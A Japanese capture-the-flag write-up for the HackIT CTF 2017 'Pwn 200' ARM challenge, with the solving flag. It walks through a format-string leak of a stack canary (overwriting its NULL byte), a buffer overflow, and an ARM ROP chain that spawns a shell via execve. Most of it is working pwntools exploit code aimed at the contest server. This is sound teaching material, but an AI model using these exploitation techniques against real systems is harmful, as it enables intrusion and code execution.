HackIT CTF 2017 [Pwn 200] Terminator canary

観察

[Pwn 150]と引き続きこちらのバイナリもARMのようです。

»»»» file pwn200
pwn200: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=d78f4d65bc199dc2216d5076b7944d7707c6163a, not stripped

まずはセキュリティ機構のチェックをします。

»»»» gdb -q pwn200
Reading symbols from pwn200...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

CANRYとNXBitが有効なようです。 今回も statically linked ですので、条件を揃えた場合のみシェルコードが実行可能ということを理解してExploitコードを組み立てましょう。

まずは動的解析をしてみました。(実際にやるときはどちらでもいいとは思いますが、僕の場合は動的解析で動きを掴んで詳細を追うために静的解析に取り組むほうが多いです。)

その結果 CHECK> の直後の入力で書式指定文字列攻撃(FSA)が、 FIGHT> の直後の入力でBuffer Over Flowができることが分かりました。ただしBoFはCANARYの値を特定できない限りは利用できません

さてFSAが可能なことがわかっているため、次は使えそうなオフセットを次のようなスクリプトで探します。

from pwn import *

context.log_level = "debug"
for i in range(1,1000):
    conn = process('./pwn200')
    #conn = remote(HOST, PORT)
    conn.sendlineafter('CHECK> ', 'AAAA%%%d$s' % i)
    addr = conn.recvuntil('I need')[4:-6]
    if not '0' == addr:
        print(i)
        print(addr)
        conn.close()

この結果以下の有用なオフセットを発見しました。

オフセット   3: 入力先のアドレスのポインタ
オフセット   5: 入力先
オフセット 520: _libc_start_main()の途中のアドレス(つまり、main()の呼び出し元)
オフセット 534: CANRAYの値のポインタ

このオフセットは試行錯誤のすえに手に入れたものなので、実際にやるときは必要になってから発見するのがいいと思います。

Exploit

前述したようにこの問題はシェルコードを実行する環境を整えないとシェルコードは使えません。そのためまずはCANARYを特定して、BOFを発生させてROPにつなげる方法について検討します。

まず、CANARYを特定したいところですが、ひとつ問題があります。それはCANARYの最下位のバイトがNULLバイトであるということです。(これは必ずそうなるようです。自分はあまり詳しくないので、他のアーキテクチャでもこうなるのかはわかりません。)

これを回避するためにまず以下のようなペイロードで最下位のバイトを書き換えておきます。

'%65x%534$hhn'

さらにこのペイロードに以下のペイロードを追加することでCANARYをLEAKします。

'%534$s'

最後に以下のペイロードを追加してCANARYの値を元に戻します。元に戻しておかないと、この時点でBoFが検出されることになってしまいます。

'%179x%534$hhn'

値を変更元より小さい値にしたいときは数値をオーバーフローさせることでそれが可能になります。

さて、これでCANARYをLEAKすることができました。またCANARYは今回の場合は入力バッファーの最後につくようなので、'A' * 1024(この値は静的解析などで調べる)のあとにCANARYを配置してBoFのオフセットを探しましょう。

BoFのオフセットが特定できたらあとは、 execve("/bin//sh", NULL, NULL) を実行して終わりです。

今回はARMアーキテクチャなので、レジスタr7にexecve()のシステムコール番号11を入れ、引数をr0, r1, r2の順番に入れれば完了です。

また文字列 "/bin//sh" は入力に含めておいて、オフセット3を用いることでそれを指すようにしておきます。

ARMアーキテクチャには ret 命令のようなものはないため、 bx {reg} 命令を用いてROPを実行します。最後に割り込み処理 svc 0 を実行することでシステムコールを呼ぶことが出来ます。

以下が最終的な Exploitコードです。参考のため、オフセット確認用のスクリプトなどもコメントアウトして残しておきました。

from pwn import *

#context.log_level = "debug"
HOST = '165.227.98.55'
PORT = 3333
#3 stack pointer 5
#for i in range(1,1000):
#    conn = process('./pwn200')
#    #conn = remote(HOST, PORT)
#    conn.sendlineafter('CHECK> ', 'AAAA%%%d$s' % i)
#    addr = conn.recvuntil('I need')[4:-6]
#    if not '0' == addr:
#        print(i)
#        print(addr)
#        conn.close()
#for i in range(1010, 2000):
#    print(i)
#    #conn = remote(HOST, PORT)
#    conn = process('./pwn200')
#    conn.sendlineafter('CHECK> ', 'AAAA')
#    conn.sendlineafter('and your motorcycle.', 'A' * i)
#    conn.stream()
#    conn.close()
#conn = remote(HOST, PORT)
#check offset
#for i in range(100):
#    print(i)
#    conn = process('./pwn200')
#    conn.sendlineafter('CHECK> ', '%1536x%520$hn')
#    conn.sendlineafter('and your motorcycle.', 'A')
#    conn.sendlineafter('CHECK> ', '%65x%534$hhn%534$s%179x%534$hhn')
#    conn.recvuntil('A')
#    canary = u32('\x00' + conn.recv(3))
#    payload = 'A' * 1024
#    payload += p32(canary)
#    payload += 'A' * i
#    conn.sendlineafter('FIGHT> ', payload)
#    conn.interactive()
# offset 8
#conn = process(['qemu-arm-static', '-g', '1234', 'pwn200'])
#conn = process(['qemu-arm-static','pwn200'])
conn = remote(HOST, PORT)
conn.sendlineafter('CHECK> ', '%1536x%520$hn%3$x')
STACK = int(conn.recvuntil('I')[-9:-1], 16)
log.success("STACK :0x%x" % STACK)
conn.sendlineafter('and your motorcycle.', 'A')
payload = '%65x'
payload += '%534$hhn%534$s%179x%534$hhn'
payload += '/bin//sh\x00'
conn.sendlineafter('CHECK> ', payload)
conn.recvuntil('A')
STACK_BINSH = STACK + len(payload) - 9
log.success("STACK_BINSH :0x%x" % STACK_BINSH)
CANARY = u32('\x00' + conn.recv(3))
log.success("CANARY :0x%x" % CANARY)
payload = 'A' * 1024
payload += p32(CANARY)
payload += 'A' * 12
#  0x00054c78           9040bde8  pop {r4, r7, lr}
#  0x00054c7c           1eff2fe1  bx lr
payload += p32(0x00054c78)
payload += p32(0)
payload += p32(11)
#  0x00070068           0140bde8  pop {r0, lr}
#  0x0007006c           1eff2fe1  bx lr
payload += p32(0x00070068)
payload += p32(STACK_BINSH)
#  0x0006faf8           0640bde8  pop {r1, r2, lr}
#  0x0006fafc           920003e0  mul r3, r2, r0
#  0x0006fb00           031041e0  sub r1, r1, r3
#  0x0006fb04           1eff2fe1  bx lr
payload += p32(0x0006faf8)
payload += p32(0)
payload += p32(0)
#  0x00070590           0240bde8  pop {r1, lr}
#  0x00070594           1eff2fe1  bx lr
payload += p32(0x00070590)
payload += p32(0)
#0x000101b8   # 4: svc 0
payload += p32(0x000101b8)
conn.sendlineafter('FIGHT> ', payload)
conn.interactive()

フラグ h4ck1t{Sarah_would_be_proud}

FSAとBoFを組み合わせた問題は初めて解いたので面白かった。